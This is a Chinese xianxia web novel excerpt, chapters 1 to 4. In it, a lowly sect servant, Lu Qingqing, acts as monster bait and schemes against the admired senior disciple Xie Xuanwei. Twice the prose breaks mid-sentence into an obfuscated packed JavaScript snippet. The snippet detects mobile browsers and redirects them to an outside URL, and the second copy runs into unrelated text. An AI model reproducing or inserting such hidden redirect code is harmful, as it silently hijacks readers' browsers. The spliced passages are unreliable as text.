《恶女炮灰招惹高岭之花后》 1. 第 1 章 山谷昏昧,密林幽暗。雾气从林地的缝隙里渗出来,丝丝缕缕,缠在林木草叶间。 一只魔蛛正拨开树叶,在迷雾中穿行。 它身躯庞大,八根触肢足有小臂般粗壮,上面爬满了黑幽幽的茸毛,密密匝匝。头颅之下,硕大的口器微微翕合,吐露的口涎很快便凝为蛛丝,蜿蜒在草叶间,泛着黏腻的银光。 自密林中飘荡而来的,凡人清香的血肉味,令它垂涎不已。其中还混杂着一丝微弱的灵气,正是最美妙的佐味。这气息引诱着它,朝密林中心爬去。 那里是整座山谷中,唯一有月光泄下的地方。 一位少女立在那片月光里。 素色玄门弟子服洗得发白了,袖口也磨出了毛边。粗布麻衣,长发半挽,不施粉黛。 月光的清辉将她的轮廓勾勒得柔柔的,眉眼盈盈,鼻梁挺秀,嘴角微微翘着,灵动娇俏。 她站在那里,像一株生在荒郊的野兰,无人浇灌,无人问津,偏偏开得肆意张扬。 咔嚓。咔嚓。 细碎的声响从四面八方涌来,像有一万只蚕在啃食桑叶,教人心里发毛。 陆青青微微偏头,侧耳细听。 近了。更近了。 此处是清音宗弟子狩猎妖魔的试炼场,望幽谷。 陆青青可不是来参加试炼的。她只是清音宗的外门杂役弟子,灵力低微,没有狩猎妖魔的手段,也没有资格参加试炼。 做杂役才是她的本分,其次是配合内门弟子的种种训练。 比如今夜,在试炼场上做诱饵。 诱饵的任务倒也简单。 释放自身微薄的灵气,引诱方圆百里内不知死活的妖魔前来此处,以己身困住它们。 等内门弟子赶来斩杀妖魔时,她便可以站在一旁,一边欣赏同门修士斩妖除魔时的英姿,一边卖力地吹捧。 做一次这样的诱饵,她能得到一两枚灵丹,或是半本功法秘籍。虽然丹药皆是粗陋不堪的下下品,功法秘籍早在一百年前就过时了,但对于她这般品级低下的杂役弟子而言,也是难得的宝物了。 这不是她第一次做诱饵,倒也轻车熟路。 只是,今夜这只魔物似乎品级甚高。空中漂浮着浓郁的腐臭味,潮湿黏腻,附在皮肤上,激起一片粟粒。 魔物已近在咫尺了。 那阴险歹毒的女人怎么还不来?她屏住气息,心下暗骂。 又是要等到妖魔附上她身,对她百般折辱戏弄后才肯出来解决么? 陆青青怀疑那阴险歹毒的女人就在近旁,必定是要像上回那般,等狼妖的爪子搭上她的肩,撕裂她的衣裳,划伤她的脖颈后,才肯走出来斩杀妖魔。 阴险,真是太阴险了。 谢、玄、微。 她在心里狠狠咬着这个名字,直想将这几个字咬烂,嚼碎了,再吐出来! 她此时此刻的卑微惨状,全是拜谢玄微所赐。 六年前,她以十岁稚龄测得上品灵根时,是何等的风光,在场千百人的目光都殷殷地落在她身上,悄声议论着她的天赋资质。 就连清音宗的长老都走下观台,亲自相看她的根骨。 她记得,那长老笑眯眯地摸着她的头,询问她年岁几何,何方人士,亲人何在。那和蔼温厚的抚摸,好似已将她视作亲传弟子。 偏偏那谢玄微,不知打哪儿冒出来,径自走到测灵石前。 “嗡隆”一声,测灵石大动,旋即一道灼烈的白光冲天而起。一刻后,光芒落尽,测灵石仍震颤嗡鸣不止。 “天灵根!是极品天灵根啊!” “这……这不会……真的是,极品天灵根!” “百年难遇的修行奇才啊!” 方才还温柔可亲仙风道骨的长老,忽然间像是给雷劈了,激动得双手直抖。 “天灵根,多少年没出世了,如今,竟给本座亲眼见到了。你——你叫什么名字?” 谢、玄、微。陆青青狠狠吐出这个被她嚼碎了的名字。 这名字是她后来才知晓的。当时,她给那灼烈的白光和嗡鸣吓到了,当即晕了过去。 也正是因为这一晕,先前看重她的长老声称她道心不坚,凡体虚弱,难以成材。 长老都这么放话了,那底下的人就更是看不起她了。就这么着,原本是上品灵根的她,只能勉强以外门杂役弟子的身份入门。 杂役弟子平日里要做各种杂事,用来修炼的时间少之又少,加上身在外门,得不到内门心法传授。入门之后,任她如何努力修行,始终停留在最初级的炼气期,难以进阶。 好在她天性好强,从不服输,靠着这股拼劲,硬是在三年后的宗门大比中崭露头角。 当时,她站在演武台上,释放出充沛灵气,以一敌三。台下,先前看不起她的同门修士,纷纷交头接耳,打探她的来历。 眼见她便要一战成名,从此踏入内门,享尽他人崇拜和敬慕。 偏偏在这一刻,那谢玄微忽然爆出狂暴灵气。演武场本立在一座青玉台上,给她这灵气一震,竟猛烈摇晃起来。 随即,轰隆一声。 青玉台,裂了。 正在台上比斗的陆青青自然逃不过,她直接给震飞出去,摔下了演武场,当场摔断了三根肋骨,随即便口吐鲜血,不省人事。 从风光大盛到如此狼狈,只在一瞬间。 千般万般,都怪一个人。 就是谢玄微那歹毒阴险的女人! 若是没有谢玄微,那么,她就可以顺顺利利地成为长老的亲传弟子,比普通内门弟子还要高一阶,以她的天赋,只怕早已进阶升境;那么,她就会在宗门大比中一战成名,成为人人谈论的天之骄女;那么,此时此刻,她就该运转蓬勃灵气,穿行在这望幽谷中,锦衣夜行,猎魔斩妖! 何等的风光,何等的张扬! 她恨死了谢玄微! 陆青青怀疑,谢玄微一定也在暗地里算计她。至于缘由么?如若不是因为怀恨在心,那么便是为了虚荣炫耀。毕竟,谁不爱被万人敬仰,风头出尽呢? 前几回做诱饵时,那女人不就是等她出够了糗,才装作急匆匆地赶来,而后在同门的注视下,以一招凌厉又华丽的招式,将妖魔斩除么? 如此这般做作,自然会迎来同门修士们的谄媚吹捧:什么清音宗第一啦,宗门翘楚,同届骄傲啦,什么修行天才,年少有为,天生不凡啦,什么人品高洁,修为高深,超尘脱俗—— 呸呸!全是狗屁! 可恨的是,那谢玄微还要装模作样地冷着脸,好似对这些吹捧无所谓似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537230|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 哼,其实心里早就乐开了花吧。 她早就看透了,那谢玄微就是个假模假样,虚伪阴险的恶毒女! 要对付这样恶毒阴险的女人,她可不能掉以轻心。 她凝聚灵气,放开五感。虽则灵力低微,五感也不足,可她还是听到了。 啪嗒一声。 一道黏糊糊的涎液缓缓滴落在草叶上的声音。 就在她身后一尺之处。 与此同时,还有一声轻微的,环佩被风吹动的轻响。 来了。 她深吸一口气,把那口恶气压下去,又将脸上多余的表情一点一点收干净。 谢玄微,你就等着吧。陆青青报仇,十年不晚。 * 月色笼罩的林间空地上,少女纤纤而立,双臂抱着肩膀,微微地瑟缩着。 一只丈余高的蜘蛛立在她背后,正对着她虎视眈眈。 那不是普通的蜘蛛。它头颅上生着三张扭曲的人脸,三张人脸的下颌处连成一体,合成一张巨大的口器,口器上腐肉层层翻卷,边缘露出尖利獠牙。 是人面魔蛛。 人面上的眼睛,也绝不是寻常人的眼睛,而是蜘蛛独有的复眼。密密麻麻的黑瞳层层叠叠地挤在一起,泛着冰冷的幽光。 像无数盏闪着幽冥磷光的灯笼,幽幽地照亮了那个飘然而至的身影。 那是个仙气飘飘的白衣女子,周身灵韵流转,素白的衣衫泛着淡淡银辉,像是有月华之光正从她身体里流泻而出。 “谢师姐,你来啦!”少女从一块巨石后探出身来,抬起湿漉漉的杏眼望向她,眼中惊喜交加。 像一只误入险境的幼鹿,终于等到了拯救她的母鹿。 “还好师姐来得及时,这回,没有被这魔物撕开衣裳呢。”少女唇边荡起一个甜甜的笑涡。 月光落在她脸上,清凌凌的,将她那副模样照得格外楚楚动人。 谢玄微的目光只在她身上落了这一瞬,旋即,便转向那人面魔蛛。 素手轻扬,手中符帖已然飞出。 在飞近那蜘蛛的面门时,只听噌的一声,符帖爆出漫天火光,霎时将周遭照得如同白昼。 斩妖术:天火诛。符光如火,斩妖除邪! 陆青青只在心法秘籍中见识过的招术,就这般被谢玄微轻轻巧巧地施展了出来。 她面色一沉,心中大骂。想不到几日不见,这恶毒女人又习得了新法术。 似是给漫天火光燎着了,那人面魔蛛仰天啸叫,叫声凄厉高亢,似人非人,似虫非虫。 它的八条触肢正深深挖入地下,伴随着狂暴的啸叫,越挖越深。 只听“轰隆”两声,地面裂出八道绵延数里的鸿沟。 想不到望幽谷竟还藏着这等品阶高深的怪物,可比那头只会挥爪流涎的狼妖强多了。 这回,谢玄微会栽跟头吗? 她定睛去看谢玄微。说来也奇,谢玄微所站的地面,竟恰好在两道鸿沟之间,堪堪好可供她立足。此刻,她衣袂飘飘,脸容淡漠,倒似全未将这人面魔蛛放在眼里。 陆青青眼中掠过一丝失望,只一瞬。 不用急,她还没出手呢。 她从袖怀里摸出一只瓷瓶,仰头将瓶中之物灌入口中。 2. 第 2 章 “咳咳,师姐,师姐救我……”少女的声音娇怯怯的,在风中缥缈如丝,常人怕是难以听到。 只谢玄微灵力高深,五感敏锐,轻易便捕捉到了。 循声望去,只见少女侧身跌在地下,口角处淌着浓血,显然是受伤了。 谢玄微双手急速翻转,飞快结出一道防护印,而后,急掠至少女身旁,察看她伤势。 少女面色发白,平日灵动俏丽的眉眼间,如今满是惶恐。 她伸手将少女扶起,触到她颈下肌肤,只觉那肌肤细腻如玉。 她克制着摩挲那肌肤的冲动,低声问:“伤势如何?” 少女紧紧攥住她衣袖,小脸偎着她臂弯,依恋至极,也可怜至极。 “师姐,不要紧,是我灵力太低,给那魔物的煞气震伤了……”说话间,少女又偏头吐出一口浓血,正落在她衣袖上。 谢玄微身上所着外袍,是内门高阶弟子才能穿的月华流裳,这衣裳素白淡雅,以寒玉天蚕丝织就,薄如蝉翼,轻若无物,领口和袖边绣着银丝暗纹,是清音宗内门弟子的标记,华贵又不显张扬。 陆青青早就看不惯谢玄微穿这身衣裳了。 她装作弱不禁风的模样,扯着那衣袖,手指攥紧,让那浓血浸透衣料,而后才缓缓歪倒在一旁,气若游丝道:“师姐,不必管我,快去杀那……” 话到此处,忽觉丹田下的灵脉一缩,似给一根冰冷的手指触碰了,接着便有一股麻痹无力之感传遍全身。 陆青青暗道不好。 灵脉是修仙者的内核,探查灵脉,可知其周身灵气运转,修为高低以及灵根有否受损。 另外,这也是修仙者至为敏感隐秘之处,一经触碰,便只能陷入麻痹状态,任人摆布,像狸猫给捏住后颈般。 高阶修士可不经许可,直入探查低阶修士的灵脉,但也需两者实力悬殊,方可成功。 寻常修士,都会在此处加数道防护,教人不可轻易探知。 可陆青青哪有那般高深灵力,抵挡高阶弟子的触碰? 她只能如烂泥般,歪倒在谢玄微怀里,望着对方清若寒潭的眼眸,任凭其直入灵脉深处,搅弄摩挲。 做着这般居高临下的戏弄之举,偏偏那素白如玉的面上,不显丝毫情绪,仍是一贯的清冷漠然。 可……恶…… 一阵阵酸麻感自灵脉深处荡漾至天灵盖,她却只能承受。 蓦地,那手指力道忽而加重,她浑身一震,灵脉骤然缩紧。 心神忽然慌乱了。 难道这谢玄微,一早看穿了她的意图,生了要害她的心思? 糟糕糟糕,她千算万算,还是低估了这女人的阴险程度。她以为,这女人至少会在同门面前装装样子呢! 不对,清音宗的同门弟子怎么还没赶来? 周围如何这般安静? 正惶惑间,身子一松,头顶清冷之声传来:“未伤及灵脉,暂且无事。” 周围嘈杂之声霎时间涌入。魔蛛的咆哮,同门们越来越近的脚步声,渐渐清晰可闻。 方才那般寂静,是防护印的缘故。 而此时,防护印已破。 好险好险。 陆青青挣脱了谢玄微的桎梏,暗自庆幸:她毕竟计谋过人,常人难以识破。谢玄微这个女人虽然阴险,却实在愚蠢,不如她聪明机智。 终于可以活动自如了。她一面悄悄挪身,远离了谢玄微,一面说道:“多谢师姐,许是我灵力太低了,难以抵挡……师姐快去杀那魔物吧!” 先前那一场吐血表演,可不只是为了弄脏谢玄微那一身好衣裳,更重要的是,激发魔物斗志。 魔物喜爱凡人血肉,对凡人鲜血更是狂热。这一回来望幽谷前,她特意从山下生药铺里买来一瓶鲜血,据店家说是为救治血淤病人所放的浓血。 鲜血么,越浓越好,她当即便买下了。方才含在口中,假装受伤,尽数吐在了谢玄微衣袖上。 这血对魔物是致命吸引,她可不想离谢玄微太近,被魔物发现,毕竟谢玄微有高阶灵力护体,她什么都没有。 眼下,她需尽快找一处藏身之地,静静等待那魔物暴走,将谢玄微打得趴倒在地。最好是再喷出蛛丝,将其紧紧缠裹,求生不得,求死不能。 到那时,她再从藏身之地出来,上前和同门一起欣赏那冷脸上的屈辱之态。 对于陆青青的种种算计,谢玄微似无所察,微一颔首,便站起身,迎上打破防护印的魔蛛。 两道符光从她袖口飞出,焰光里,符文从纸面上浮起来,一个一个古奥晦涩的图案悬在半空,像被什么看不见的线串着,绕着她指尖缓缓旋转。 她双手结印,指法极快,那手势不像是施法,更像是在弹奏无弦古琴,每一个动作都优雅利落,游刃有余。 陆青青看得气急败坏,这阴险女人,背后又偷偷学了这许多她看不懂的法术,这法术她在秘籍心法里都闻所未闻,定是长老亲自所授。 若是没有这阴险狡诈的谢玄微,此刻,站在魔物面前,施展如此华丽招术的人,该是她陆青青才对。 正腹诽间,只见那旋转的符文忽然静止,齐齐指向人面魔蛛的触肢。 那三张人面霎时痉挛扭曲,三张口唇同时嘶吼着,喷吐出汩汩涎液。 涎液落地,黑烟升腾,滋滋作响。 谢玄微旋身,再度出手,燃着焰光的灵符直奔人面魔蛛面门而去。 忽听陆青青一声叫喊,叫声惊慌失措。她动作一滞,便在此时,人面魔蛛伏低上半身,无数毒丝自它尾部喷出,漫天洒落。 “啊!”又一声大叫,从一丛灌木中传出。 这一声大叫,全不似方才那声,显然是受了伤。 谢玄微结出一道防护印,制住魔物,之后循声而去,在一处灌木丛后寻到了陆青青。 却不是悠然看戏的陆青青,而是被被毒丝牢牢捆绑住的可怜少女。 * 该说不说,陆青青着实倒霉。 她为自己选的藏身之地在一丛灌木里,远远避开人面魔蛛的正面和背面,而是绕到了它身侧。她本以为自己的藏身之地足够隐秘,足够安全了,可她哪能料到,这人面魔蛛,最危险的,不是那硕大诡异的口器,也不是那八条毛茸茸的触肢。而是下腹部! 寻常蜘蛛吐丝处,确是在腹部末端。可这魔蛛都修成人面魔物了,受了攻击,惊恐暴走时,竟然会回归原始,用腹部末端的纺绩器喷丝。 更没料到的是,这魔蛛受了腥血刺激,左摇右摆,身躯狂扭,腹部末端喷出的毒丝,以一个极其刁钻的角度,不偏不倚地命中了她。 方才她叫喊了两声,第一声,纯粹是为了让谢玄微分神失手,可这第二声,却是实实在在被毒丝攻击了。 那毒丝腥臭无比,将她从头到脚,紧紧缠裹。 她只觉恶心难忍,只能勉强从喉咙里挤出两个字。 “救我!” 谢玄微眉心微蹙,正待出手解救,忽的,黑暗中探进来两条触肢,一下抓走了陆青青,将她高高举起在半空之中。 原来是那魔蛛暴走,突破了防护印。 陆青青吓得浑身直抖,她拼命大叫道:“师姐救我!” 谢玄微微一迟疑。此时若再以寻常灵符攻击魔蛛,势必会伤及陆青青。 陆青青看她凝神不动,又气又急。 这阴险歹毒女人又在看她好戏了!看来只能靠她自己了。 无奈她给那魔蛛高举在半空中,身上又有毒丝包裹,只能挺动身体,乱蹬双脚。不料此举却愈发激起了那魔蛛的狂性,从那破烂的口器中,又喷出一抹涎液,正喷在她脸面上。 好臭! 魔蛛平日便是用这口器吞噬食物的,那口器中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢玄微并未作答,视线始终投在暗处。 众人循着她的视线,看到了站在暗影下,惊魂未定的陆青青。 察觉到众人目光,陆青青这才发现,她浑身湿黏,衣裳和发丝都又脏又乱,毒液的污秽之气,还萦绕在她身上。 她弯身,哇的一声吐了。 “这杂役怎么回事,受伤了?” “杂役就是杂役,连当诱饵这点小事都做不好。” “原来臭味是从她身上来的啊!” “定是她自不量力,在谢师姐来之前,触怒了那魔物,才致如此。” “我看这杂役,以为自己比谢师姐还厉害呢!” “不错,那些低级杂役尽是些眼高手低的蠢货,整日妄想着一步登天,可气运没有,天赋不够,也就只配在泥地里打滚了。” 同门修士们的讥笑和嘲弄,一句一句,如毒针般,朝她刺来,直刺得她心如火烧,又怒又羞。 “住口。”一个熟悉的声音响起,止住了那些恶毒之言。 “清音宗戒律第三条:不可妄议同门。”谢玄微顿了顿,续道:“今日陆师妹已尽全力,是我看护不周,才令她受伤。” 言罢,她走近陆青青,将自己的月华流赏袍披到了她身上。 陆青青嗅到一股冷冽的清香,如松枝堆雪般清雅,如寒霜般凛冽。 她怯怯抬起眼来,欢喜道:“多谢师姐,今夜的试炼,又是谢师姐赢了呢。” 心中却想:又在装模作样了。总要当着这许多人的面,才会装好心。明明早将她这身狼狈模样看在眼里了,为何不趁着方才无人时,送她衣裳呢? 3. 第 3 章 陆青青回到清音宗时,天降破晓。 清音宗位于青云山巅,主峰之上,殿宇依山而建,飞檐翘角隐在云海之中,白玉阶沿生着淡淡灵苔,仙鹤时绕殿角低飞。山间清泉流淌,云雾缭绕,隐约可见悬空栈桥与晨起练功的弟子身影。 而位于山坳处的杂役院,就没有这般仙气了。 几间茅草搭的屋子,歪歪斜斜地挤在一处,在晨雾里显出几分萧索。青石地砖裂缝纵横,不知名的野草从缝隙里爬出来,透出几分顽强的生命力。 住在此处的人,唯一可夸耀的,也就是几分顽强了。 不同于内门弟子的清静住处,杂役弟子两人一间,陈设也甚为简陋,两张卧塌、一张破桌,一只水罐,并一架朽木矮橱。 房梁上悬着盏黯淡的长明灯,桌上放着几卷心法秘籍,窗外偶有灵雾飘进,落在卧榻草席上,转瞬便消散了。 陆青青在桌前坐下,脱下身上那件外袍,里外看了一看,心情颇为愉悦。 今夜试炼,虽然没叫那谢玄微吃苦头,可毕竟也叫她舍了一件衣裳,还是件一看就不是凡品的衣裳。她昨夜吐上去的血迹已然消失不见了,可见这衣裳染了灵气,可自主清洁秽物。 只谢玄微年长她几岁,身量也比她修长,故而衣袖不大合身,她得小心裁掉一截。 她取出针线裁缝物什,一边哼歌一边修整自己得来的便宜衣裳。 这时,卧榻上的薄被动了动,随即传出一个有几分不耐的声音:“做什么?高兴了?不困觉么。” 陆青青得意地回道:“我今日高兴得很,你瞧我得了什么?” 薄被掀开,一个清俊少年自塌上慢慢坐起,睡眼惺忪地朝她望来,视线在她脸上停了停,才落到她手中的那件袍子上。 “什么?下山去了?买衣裳?诱饵,没去啊。”声音懒懒的,语句颇为断续。 陆青青不屑地瞟她一眼:“才不是山下买的,是我做诱饵任务得来的。” 这说话怪里怪气的少年名叫陆青辞。陆青青是个孤儿,打小在育婴苑长大,这陆青辞便是她幼时的同伴。两人皆是女孩儿,但这陆青辞自小便爱作小子打扮,长大了也是习性不改。 一身宽袍,长衫广袖,头发高高束起,面如冠玉,鬓角清隽,狭长的凤眸总好似睡不醒似的,半睁不睁。此时,半靠不靠地倚在塌上,倒颇有几分公子王孙的名士风流。 不同于内门弟子的钟灵毓秀,杂役院的弟子,歪瓜裂枣居多,好容易有个显眼的,便理所当然地招来了不少懵懵懂懂的怀春少女,常往她身前凑。 陆青辞于这些少女心思全然不理会,只偶尔会有淡淡不耐,但她生性懒散,也从不义正辞严地推拒或纠正什么,实在被缠得烦了,才会不咸不淡地说上一句半句。这些话丝毫不败坏少女们的兴致,因为她们根本听不懂。 对于她这套招蜂引蝶的把戏,陆青青非常不屑也十分不解。 她可是见过陆青辞幼稚顽劣的模样的。小时候,两人常常为一颗糖争得昏天暗地,打起架来毫不含糊。 就连两人的名字,也是打斗一番才阴差阳错得来的。 孤儿们不知父母,无名无姓,常年用的都是阿五阿六之类的小名,还时常混淆弄错。那一年,育婴堂新来了一个管事陆嬷嬷,她读过些诗书,文理颇通,经常教她们读书习字。有一日,偶发奇思,以自己为主姓,从诗书中取了些正经名字,由他们自行择选。 育婴堂的孤儿,从小就懂得一件事:好东西要靠争抢才能得来,或者说,只有自己抢来的,才是好东西。 为免去一场争名大战,堂主事先便将名字写好,要各人用抓阄的法子来选名。陆青辞第一次抓到的名字是青花,陆青青在一旁看到了,欢喜那个“花”字,便要去抢,陆青辞哪里肯依,两人便扭打起来,直到陆嬷嬷赶来才罢休。 只是这么一闹,那名字两人谁也没得着,只能从余下的两个名字里各选一个了事。 事后,两人倒达成了一个共识:陆青花这个名字一点不好,简直难听死了。 此后两人仍旧时常打架争斗,但也偶有一致对外的时候,勉强算得上是一对青梅竹马。 七岁那年,育婴堂大火,是陆青青摇醒了熟睡的陆青辞,带她一起逃了出来。 两人在江湖流浪了几年,偶然遇上清音宗在凡间择选弟子,这才一道入了宗门。 “啊,谁送的?恶毒女人?欺负你了?”陆青辞慢吞吞地问。 陆青辞生性懒散,说话习惯截头去尾,教人听得半懂不懂。 陆青青从小同她一起长大,自然明了她这套言语。 她道:“在清音宗,有清规戒律压着,没人敢欺负我。清音宗戒律第三条:不可妄议同门!你听过么?” 陆青辞唔了一声,视线只凝落在她脸上。 陆青青回杂役院之前,已自行沐浴过,净了手脸,身上也换了干净的弟子服。此刻见她盯着自己,狐疑地取镜照了照,问:“你盯着我做什么?” “我在想,你不困觉么?”陆青辞移开视线,难得说了句完整的话。 “天早大亮了,谁还困觉?该做早课去了。”说话间,陆青青已挽好最后一点针脚。她起身,将那月华流裳袍往身上一披,对镜左右理了理鬓发,左看右看,心下满意极了。 这衣裳合该就是她的,穿她身上,看着可比那谢玄微顺眼多了。 她要穿出去,好好炫耀一番。 少女轻巧地跨出门,门扉在她背后合上了。陆青辞的目光仍旧落在那门上,仿佛透过那扇门追随着少女的身影。 真是奇怪啊,好像忽然之间,小时候那个霸道又倔强的小女孩,就长大了。 一颦一笑,都让她既感心烦意乱,又不愿把视线移开来。 半晌,她缓缓揉了揉额角,躺回塌上,望着房顶那盏长明灯出神。 盯着长明灯看久了,那张脸又浮现出来——眼尾上挑,嘴角微翘,纤细的身子裹在那件不合身的袍子里,对着镜子弄姿态,像一只翘尾巴的猫儿,又得意又骄矜。就连撒谎,也带着几分颐气指使的娇态。 小时候也是这样。 那日,育婴堂有贵客来访,每个孩子分得一碗肉粥。零星几点肉丝,却是难得一闻的荤腥。她喝得很慢,咀嚼得也慢吞吞的。陆青青喝得快。喝完了自己的,便拿眼睛瞟她的碗。 她默然不语,仍旧慢慢地咀嚼,陆青青便伸手来抢,抢不过就咬,咬不过就哭,哭完了又笑,笑完了又凑过来,把脸贴在她手心,软软地说:“阿辞,你对我最好了。” 她那时只觉得这个小女孩很烦。 吵闹,霸道,还不讲理,老来招惹她,完了又来讨好。 可此刻想起那些事,嘴角却不由自主地微微弯了一下。 弯了一下,又压下去了。 她闭了闭眼,再睁开时,那个身影不见了。 长明灯的灯芯积了灰,光线昏暗,在房梁处投下一道模模糊糊的暗影。她盯着那道暗影,盯了很久,忽然自言自语道:“一件袍子而已,值得高兴么?成那个样子。” 声音很轻,轻得像是怕被什么人听见。 窗外,晨光渐渐亮了。竹影在素纸上轻轻摇动,发出沙沙轻响。 蓦地,风吹来一阵笑闹声。 “你穿的这是什么衣裳,怎地和寻常弟子服那般不像?” “是啊,怎么从未见过这般制式的常服?” 少女清凌凌的声音分辩道:“这也是弟子服,是内门弟子穿的,你们不知么?” “内门弟子服饰我也见过,断没有这样的制式。这般华贵,看着不似凡品。” 有个女弟子的声音高声道:“既不是杂役院的常服,还是不要穿出来的好。这衣裳一看便知灵气充沛,与你身份不符,莫不是你去内门做杂役任务时,悄悄偷来的吧?” 院外,陆青青成功引来了众人的注目。可众人偏不肯按她的设想夸赞她,反而百般质疑。 甚至,那个名唤宋亚的,还一口断定她衣裳是偷来的。 陆青青道:“谁说是偷来的,是我陪同门师姐和师兄试炼得来的。” “我瞧就是偷来的。我听说陆师妹是孤儿出身,从小在见不得光的地方长大,会偷会抢不奇怪吧?” 众人竟然也纷纷附和:“孤儿不偷不抢,怎么长到这个年岁?” 一位年长的男弟子名唤苏文齐的,露出一副看透世事的了然神色:“陆师妹,你把这恶习带来清音宗了吧,都是千年的狐狸,不用狡辩,我们都心知肚明的。” 有人窃窃笑道:“那育婴堂,不就是贼窝淫窝吗?” 陆青青正待反击,不意给这句话刺到了,浑身一僵,一向伶俐的口齿,却咬得发白。 众人你一言我一语,一时哄笑,一时讥嘲,好不热闹。 另一个年历久些的女弟子,是宋亚的同乡,名唤宋茗的,也来助阵,扯起陆青青衣袖道:“我那日在灵音长老房里也见着一件,同这件一模一样。” “灵音长老?莫不是六大长老之一?听说他是宗门内修为最高的长老,这些年常年修炼,不理俗务,你竟也有缘得见?”有人好奇问。 “正是。”宋茗自诩资历最老,又要在人前炫耀,当即便将清音宗的尊贵人物如数家珍:“除开咱们开宗立派的掌门不说,掌门之下,六大长老为尊。石音长老和金 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“喂!喂,你们怎么——喂!谁要听你胡说什么仙缘了?” 宋茗捉住了她的话头,转头看向她,说道:“陆师妹不许我说呢,正好,我今日也还有功课要做,大家便散了吧。” 众人哪里肯依,缠着她求个不住,又对陆青青推推搡搡,险些扯破了她的衣裳。 陆青青身量纤巧,不是他们的对手,正待想个主意惩治他们,手腕忽的给人紧紧捉住了。 陆青辞一手护着她,一手握着她手腕,将她拽出人群。 “一大早,同他们置气?功课呢?不修炼了?还是孩子么?” 她披着一件宽袍,里衣松松散散,露出清秀的锁骨,虽是再平常不过的粗布衣裳,穿在她身上,也显得清俊闲雅。 长身立于众人身畔,便似白鹤落入鸡鸭群般,引得众人纷纷看来,连吵嚷声都渐渐小了。 陆青青挣开她的手,恼道:“谁教你来教训我了?” 陆青辞嘴唇微微动了动,却没说话。片刻后,她转身,回了草屋。 她刚离开,便有杂役院的执事走进来,高声直呼陆青青的名姓。 他手中持着一方青玉托盘,托盘内摆着一方黑檀木盒。 陆青青知晓,这是杂役院发赏的木盒。旁侧却另有一只白瓷瓶,不知是何物。 正好奇间,那执事走近她,说道:“陆青青昨夜做任务有功,这是执事堂的例行赏赐,另外,谢师姐念你被魔物所伤,特附上疗伤丹药一枚。” 那女人送她丹药,有那么好心?其中定是有诈。 陆青青一面想,一面上前接过木盒和瓷瓶,便听众人议论道:“谢师姐?哪个谢师姐啊?” “你们这也不知么?除了灵音长老的亲传弟子谢玄微,还有哪个谢师姐?”先前质疑陆青青的宋茗抢先道。 “什么?谢玄微?是那位身怀天灵根,测灵根时,震坏测灵石的天才吗?” “原来是谢师姐。可她怎么会……” 几道疑惑的目光朝陆青青射来。陆青青暂且放下对谢玄微的仇恨,迎着众人目光,泰然自若道:“不错,这件衣裳,也是谢师姐送给我的。” “谢师姐……”宋亚惊疑不定,“不可能,谢师姐一心修炼,旁人连同她说句话都难得,怎么会将衣物赠予你?” “你若不信,去问谢师姐便罢了。”陆青青道。 这时,已离开杂役院的执事重又折返回来,对陆青青道:“这两日你且好好养伤,每日杂役任务,由——”他低头看了一眼手中的名册,点了一个名字,“由宋茗代行。” 宋茗脸色一黑,却也不敢说什么。宋亚上前,小心地握住她的手,被她用力甩开了。 陆青青把这一幕看在眼里,心里说不出的得意。 又瞥见那个声称她恶习难改的苏文齐,此刻正畏畏缩缩地低着头,她上前,笑问道:“苏师兄,究竟谁是千年的狐狸?你可得小心了,万一哪天露出狐狸尾巴,现了原形,就只能猎妖场上见了。” 那苏文齐一面给她逼得节节败退,一面犹自嘴硬道:“什么狐狸?我又不是。不是我说的。” 余下的众人盯着陆青青,看看她手中的木盒,再看看她的衣裳,仍是一脸的不可置信。 他们往常自然也有在试炼场做过诱饵的,可得到的赏赐皆是执事堂分例内的,一两枚下品丹药,一卷心法就是至高了,哪有什么谢师姐亲选的疗伤药? 谢玄微,清音宗修为最高深的灵音长老最得意的亲传弟子,那般高不可攀的人物,怎么会对一个普普通通的杂役弟子这般关切,既送珍贵衣物,又送疗伤丹药? 4. 第 4 章 陆青青既已出了风头,心情舒畅,也就懒得理会这些只会嚼舌的同门了。 现下,她另有一桩要紧事。 那便是,如何处置谢玄微送来的这粒疗伤丹药。 谢玄微身为灵音长老的亲传弟子,所用的丹药必定是纯正上品,赠人疗伤的丹药自然也是上品。可陆青青却不这么想。 万一,那谢玄微是假好心,偷偷在丹药里加了什么别的药怎么办?虽不至光明正大地下毒,但万一加了个泻药,来捉弄她怎么办? 她幼时在江湖飘荡,常常见识这类下作手段。那些武林高手不愿比武,又不愿认输,就偷偷给对方下泻药,于是比武自然不成。 要是她是谢玄微,她就会这么做。 陆青青以己度人,思索一阵,终于想到个法子。 她回到草屋,没见到陆青辞,又到陆青辞常去的后山寻了一圈,在灵泉旁捉到了人。 “这个给你。”她把手中的半粒丹药递向陆青辞。 陆青辞看了一眼,又慢慢把视线落回她脸上。 “是什么?”她问。 “丹药啊。”陆青青道,“我得的奖励,给你一半。” 陆青辞难得见她这般殷勤,心知她来者不善,但也懒得计较,顺手接过来,一口吞下。 反正,她是不会下手毒死她的,至于别的,就由着她好了。 陆青青见她吞下丹药后,神色如常,心中疑虑渐消,但转念又想,莫不是过些时辰才会发作? 于是这日便一直挨在陆青辞身边,看她从灵泉打水,往来各间草舍,面不改色地被众多女弟子围观。 直至忙碌了一日,晚间回到居住的草屋时,仍是平静如常。 陆青青这才放下心来。 可千算万算,她还是失算了。 晚间她吃下丹药后,调息了片刻,便睡下了。到了夜半,只觉周身灵脉胀痛,灵气冲顶,直欲掀翻草屋,纵身狂跳。 